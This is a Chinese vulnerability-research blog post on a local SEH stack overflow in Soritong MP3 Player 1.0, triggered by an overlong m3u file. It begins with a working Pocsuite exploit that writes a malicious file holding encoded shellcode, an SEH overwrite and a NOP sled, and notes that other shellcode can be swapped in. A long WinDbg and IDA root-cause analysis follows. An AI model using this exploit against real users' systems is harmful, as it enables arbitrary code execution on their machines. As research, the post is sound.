作者:k0shl 转载请注明出处:http://whereisk0shl.top
漏洞说明
软件下载:
https://www.exploit-db.com/apps/a1def037869c831496bda3d81b0d06f5-soritong10.exe
PoC:
#!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
vulID = '13918' # ssvid
version = '1.0'
author = ['k0Sh1血战排行榜']
vulDate = ''
createDate = '2015-12-31'
updateDate = '2015-12-31'
references = ['http://www.sebug.net/vuldb/ssvid-13918']
name = 'Soritong MP3 Player 1.0 (SKIN) Local Stack Overflow Exploit (SEH)'
appPowerLink = 'http://www.sorinara.com'
appName = 'Soritong MP3 Player'
appVersion = '1.0'
vulType = 'Local Code Execution'
desc = '''
1、使用-attack时,因为seh对应的是汇编指令,不需要进行修改
2、使用命令
attack: pocsuite -r test/soritong_exploit.py -u http://localhost --attack
attack: pocsuite -r test/soritong_exploit.py -u http://localhost --verify
3、shellcode可以替换成其他功能的shellcode,可根据需要在exploit-db上获得
'''
samples = ['']
def _attack(self):
result = {}
#Write your code here
shellcode = ('\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49'
'\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36'
'\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34'
'\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41'
'\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44'
'\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47'
'\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38'
'\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48'
'\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c'
'\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e'
'\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58'
'\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44'
'\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38'
'\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33'
'\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47'
'\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a'
'\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b'
'\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53'
'\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57'
'\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39'
'\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46'
'\x4e\x46\x43\x36\x42\x50\x5a')
junk = '\x41' * 580
next_seh='\xeb\x06\x90\x90'
seh = '\xe8\x8d\x01\x10' #
nops = '\x90' * 1000
exp = junk + next_seh + seh + shellcode + nops
f = open('soritongui_exp.txt','w')
f.write(exp)
f.close()
return self.parse_output(result)
def _verify(self):
result = {}
#Write your code here
poc = '\x41' * 1800
f = open('soritongui_poc.txt','w')
f.write(poc)
f.close()
return self.parse_output(result)
def parse_output(self, result):
#parse output
output = Output(self)
if result:
output.success(result)
else:
output.fail('File Create Failure!')
return output
register(TestPOC)
测试环境:
Windows xp sp3
这个PoC是基于创宇的Pocsuite写的,也可以提取payload的部分自己生成,仍然是用open,然后write写一个m3u文件即可,然后用soritong播放器打开。引发漏洞,我当时那段时间分析了各种播放器的漏洞,后续随着技能点get,会更新其他软件的分析内容。
漏洞复现
此漏洞是由于Soritong MP3 Player.exe中某函数对于m3u文件格式处理,没有对文件长度进行严格的检查,导致某函数执行时某指针被覆盖,程序读取了一个不可调用的地址,从而触发了SEH异常,再覆盖SEH指针,达到程序可控。
新的PoC我已经提交在Sebug,利用PoC中的--verify生成一个样本文件,运行程序,打开样本文件,附加windbg,漏洞被触发,这次中断在漏洞触发位置。
0:002> g
(3f0.7f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012f874 ebx=41414141 ecx=00000000 edx=0012f840 esi=00000003 edi=00000000
eip=0040baad esp=0012f818 ebp=0012f868 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
*** WARNING: Unable to verify checksum for C:\Program Files\SoriTong\SoriTong.exe
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\SoriTong\SoriTong.exe -
SoriTong!MmutilityC8_4+0x1a1:
0040baad 8b9318020000 mov edx,dword ptr [ebx+218h] ds:0023:41414359=????????
可以看到,此时ebx+218的值为41414359,而ebx是41414141,这样的操作一般都是指针传递的操作,而此时明显ebx已经被覆盖成了一个不可读的地址,因此触发了SEH异常处理,接下来我们直接运行程序。
0:000> g
(3f0.7f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000
eip=41414141 esp=0012f448 ebp=0012f468 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ?? ???
因为SEH的指针被覆盖,程序继续跳转到41414141,这个地址一旦可控,比如jmp esp,我就可以控制程序整个执行流程,接下来我们kb看一下堆栈调用情况。
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012f444 7c9232a8 0012f530 0012fa84 0012f54c 0x41414141
0012f468 7c92327a 0012f530 0012fa84 0012f54c ntdll!RtlConvertUlongToLargeInteger+0x6a
0012f518 7c92e46a 00000000 0012f54c 0012f530 ntdll!RtlConvertUlongToLargeInteger+0x3c
0012f868 0040c5ce 41414141 00000000 004a1658 ntdll!KiUserExceptionDispatcher+0xe
0012fb7c 0046b6ab 0012fc7c 0012fc80 0049c0c6 SoriTong!MmutilityC8_4+0xcc2
下面来对此漏洞进行详细的分析。
漏洞分析
首先,我们看到在到达SEH指针前的一处和SoriTong有关的调用,我们来看一下附近的代码。
0040c5bf ff45f0 inc dword ptr [ebp-10h]
0040c5c2 8b08 mov ecx,dword ptr [eax]
0040c5c4 51 push ecx
0040c5c5 8b4508 mov eax,dword ptr [ebp+8]
0040c5c8 50 push eax
0040c5c9 e8aef4ffff call SoriTong!MmutilityC8_4+0x170 (0040ba7c)
在0040c5c9附近,有一处call函数调用,我们在此函数下断点,重新执行程序,加载样本后,程序在此中断。
0:002> bp 0040c5c9
0:002> g
Breakpoint 0 hit
eax=41414141 ebx=0017039e ecx=00000000 edx=0012fa84 esi=00000003 edi=00000000
eip=0040c5c9 esp=0012f870 ebp=0012fab0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
SoriTong!MmutilityC8_4+0xcbd:
0040c5c9 e8aef4ffff call SoriTong!MmutilityC8_4+0x170 (0040ba7c)
可以看到此时eax的值已经变成了41414141这个值,那么此时文件中的内容已经被加载了,我们需要看看加载前的一些情况,以确定在什么位置被加载,为什么会被加载,然后再分析进入漏洞函数后的情况,看看程序有多少个脆弱点。
首先我们找到这个call函数的外层函数的起始位置
sub_40C444 proc near
Buffer= byte ptr -230h
s= byte ptr -130h
FilePart= dword ptr -30h
var_2C= dword ptr -2Ch
var_1C= word ptr -1Ch
var_10= dword ptr -10h
var_8= byte ptr -8
var_4= dword ptr -4
arg_0= dword ptr 8
arg_4= dword ptr 0Ch
push ebp
mov ebp, esp
add esp, 0FFFFFDD0h
push ebx
push esi
mov eax, offset stru_4A1B0C
我们在push ebp的位置下断点,重新加载程序之后,单步执行。
0:000> p
eax=0012faac ebx=0012fbd4 ecx=00000000 edx=00000000 esi=004a1658 edi=00000000
eip=0040c490 esp=0012f878 ebp=0012fab0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
SoriTong!MmutilityC8_4+0xb84:
0040c490 8b00 mov eax,dword ptr [eax] ds:0023:0012faac=00ae3b3c
0:000> p
eax=00ae3b3c ebx=0012fbd4 ecx=00000000 edx=00000000 esi=004a1658 edi=00000000
eip=0040c492 esp=0012f878 ebp=0012fab0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
SoriTong!MmutilityC8_4+0xb86:
0040c492 e8bda50700 call SoriTong!Enhlistviewinitialization$qqrv+0x43904 (00486a54)
执行到0040c492处的call函数调用时,我们对应在ida pro中找到对应的调用位置,可以观察到此处的call调用其实是一个系统函数的调用。
.text:0040C48D lea eax, [ebp+var_4]
.text:0040C490 mov eax, [eax]
.text:0040C492 call sub_486A54 ; @Sysutils@SetCurrentDir$qqrx17System@AnsiString
系统函数是SetCurrentDir,猜测与对应的路径获取相关,我们查看一下此时eax的值。
0:000> dc eax
00ae3b3c 445c3a43 6d75636f 73746e65 646e6120 C:\Documents and
00ae3b4c 74655320 676e6974 64415c73 696e696d Settings\Admini
00ae3b5c 61727473 5c726f74 e6c3c0d7 0054005c strator\....\.
正好是m3u的调用路径,那么接下来我们继续单步跟踪。
0:000> p
eax=0012faac ebx=0012fbd4 ecx=00ae3af8 edx=00000000 esi=004a1658 edi=00000000
eip=0040c4bc esp=0012f874 ebp=0012fab0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
SoriTong!MmutilityC8_4+0xbb0:
0040c4bc 51 push ecx
0:000> p
eax=0012faac ebx=0012fbd4 ecx=00ae3af8 edx=00000000 esi=004a1658 edi=00000000
eip=0040c4bd esp=0012f870 ebp=0012fab0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
SoriTong!MmutilityC8_4+0xbb1:
0040c4bd e806540800 call SoriTong!Enhlistviewinitialization$qqrv+0x4e778
程序执行到0040c4bd处又一次进行了call调用,我们继续通过ida观察伪代码。
.text:0040C4B7 loc_40C4B7: ; CODE XREF: sub_40C444+6Cj
.text:0040C4B7 mov ecx, offset unk_4A1684
.text:0040C4BC
.text:0040C4BC loc_40C4BC: ; CODE XREF: sub_40C444+71j
.text:0040C4BC push ecx
.text:0040C4BD call j____open
此时调用了open函数,ecx作为第一个参数被传入,我们看看ecx的值。
0:000> dc 00ae3af8
00ae3af8 445c3a43 6d75636f 73746e65 646e6120 C:\Documents and
00ae3b08 74655320 676e6974 64415c73 696e696d Settings\Admini
00ae3b18 61727473 5c726f74 e6c3c0d7 7078655c strator\....\exp
00ae3b28 75336d2e 4e4f4300 0000003e 00000000 .m3u
可以看到果然是漏洞文件的路径,那么样本就是在此时被打开的,接下来,我们继续单步跟进。
0:000> p
eax=00000003 ebx=0012fbd4 ecx=004b2d98 edx=004b2d98 esi=00000003 edi=00000000
eip=0040c4f0 esp=0012f878 ebp=0012fab0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
SoriTong!MmutilityC8_4+0xbe4:
0040c4f0 56 push esi
0:000> p
eax=00000003 ebx=0012fbd4 ecx=004b2d98 edx=004b2d98 esi=00000003 edi=00000000
eip=0040c4f1 esp=0012f874 ebp=0012fab0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
SoriTong!MmutilityC8_4+0xbe5:
0040c4f1 e8ca4e0800 call SoriTong!Enhlistviewinitialization$qqrv+0x4e270 (004913c0)
0:000> p
eax=000001f4 ebx=0012fbd4 ecx=00000003 edx=004b2de0 esi=00000003 edi=00000000
eip=0040c4f6 esp=0012f874 ebp=0012fab0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
SoriTong!MmutilityC8_4+0xbea:
0040c4f6 59 pop ecx
在0040c4f1处的call函数调用完成后,eax的值被修改成了十六进制的1f4
0:000> r eax
eax=000001f4
转换成十进制后是500,正好是我们样本文件长度,那么此时正好获取了长度,接下来我们通过ida pro来看一下这段代码。
.text:0040C502 mov ebx, eax
.text:0040C504 push esi ; handle
.text:0040C505 call _filelength
.text:0040C50A pop ecx
.text:0040C50B push eax
.text:0040C50C push ebx
.text:0040C50D push esi
.text:0040C50E call j____read
.text:0040C513 add esp, 0Ch
.text:0040C516 push esi
.text:0040C517 call j____close
.text:0040C51C pop ecx
.text:0040C51D push offset asc_4A1685 ; "\r\n"
.text:0040C522 push ebx ; lpString1
.text:0040C523 call lstrcatA
.text:0040C528 jmp loc_40C5E7
可以看到0040c50d处执行了read命令,当执行完这处指令之后,读取了样本文件内容,读取长度就是文件大小。
0:000> dc ebx l100
001701a8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
001701b8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
001701c8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
001701d8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
001701e8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
001701f8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00170208 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00170218 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00170228 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00170238 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00170248 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00170258 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00170268 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00170278 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00170288 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00170298 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
001702a8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
001702b8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
001702c8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
001702d8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
001702e8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
001702f8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00170308 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00170318 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00170328 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00170338 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00170348 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00170358 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00170368 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00170378 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00170388 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00170398 41414141
可以看到,从这里开始,一直到达漏洞函数,程序都没有对样本文件进行有效的长度检查,而到达漏洞函数sub_40ba7c,我们跟进。
sub_40BA7C proc near
push ebp
mov ebp, esp
add esp, 0FFFFFFBCh
mov eax, offset stru_4A1820
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
此时ebp被原来的esp栈顶取代,我们可以通过这里来观察参数的传入情况。
0:000> dd ebp
0012fab0 41414141 41414141 41414141 41414141
0012fac0 41414141 41414141 41414141 41414141
0012fad0 41414141 41414141 41414141 41414141
0012fae0 41414141 41414141 41414141 41414141
0012faf0 41414141 41414141 41414141 41414141
0012fb00 41414141 41414141 41414141 41414141
0012fb10 41414141 41414141 41414141 41414141
0012fb20 41414141 41414141 41414141 41414141
果然ebp已经被畸形字符串作为参数传入了,那么接下来。
0040ba87 53 push ebx
0040ba88 56 push esi
0040ba89 57 push edi
0040ba8a 8b5d08 mov ebx,dword ptr [ebp+8]
在0040ba8a的位置,ebx被ebp+8的地址赋值,而这里作为存放指针的位置,已经被畸形的41414141覆盖了,ebx自然也被修改成了41414141
0:000> p
eax=004a1820 ebx=0017039e ecx=00000000 edx=0012fa84 esi=00000003 edi=00000000
eip=0040ba8a esp=0012f818 ebp=0012f868 iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217
SoriTong!MmutilityC8_4+0x17e:
0040ba8a 8b5d08 mov ebx,dword ptr [ebp+8] ss:0023:0012f870=41414141
0:000> p
eax=004a1820 ebx=41414141 ecx=00000000 edx=0012fa84 esi=00000003 edi=00000000
eip=0040ba8d esp=0012f818 ebp=0012f868 iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217
SoriTong!MmutilityC8_4+0x181:
0040ba8d e8e23f0800 call SoriTong!Enhlistviewinitialization$qqrv+0x4c924 (0048fa74)
接下来,我们继续单步执行
0040baa4 ff45f4 inc dword ptr [ebp-0Ch]
0040baa7 66c745e80800 mov word ptr [ebp-18h],8
0040baad 8b9318020000 mov edx,dword ptr [ebx+218h]
在0040baad的位置,这里指针赋值时出现了问题,从而触发了异常处理函数,那么我们通过ida pro的伪代码来观察一下这一块的内容。
int __cdecl sub_40BA7C(int a1, int a2)
{
int v2; // ecx@1
int v3; // ST04_4@2
int v4; // eax@3
int v5; // ecx@3
int v6; // esi@3
int v7; // ST04_4@3
int v8; // edx@4
int v10; // ST04_4@9
__InitExceptBlockLDTC();
System__AnsiString__AnsiString(&a2, &a2);
if ( sub_478D64(*(_DWORD *)(*(_DWORD *)(a1 + 536) + 304)) >= 1024 )
可以看到在sub_478d64函数调用前,获取了指针,指针位置是a1+536,正是ebx+218h对应的位置,而这处之前已经说过,被异常字符串覆盖了。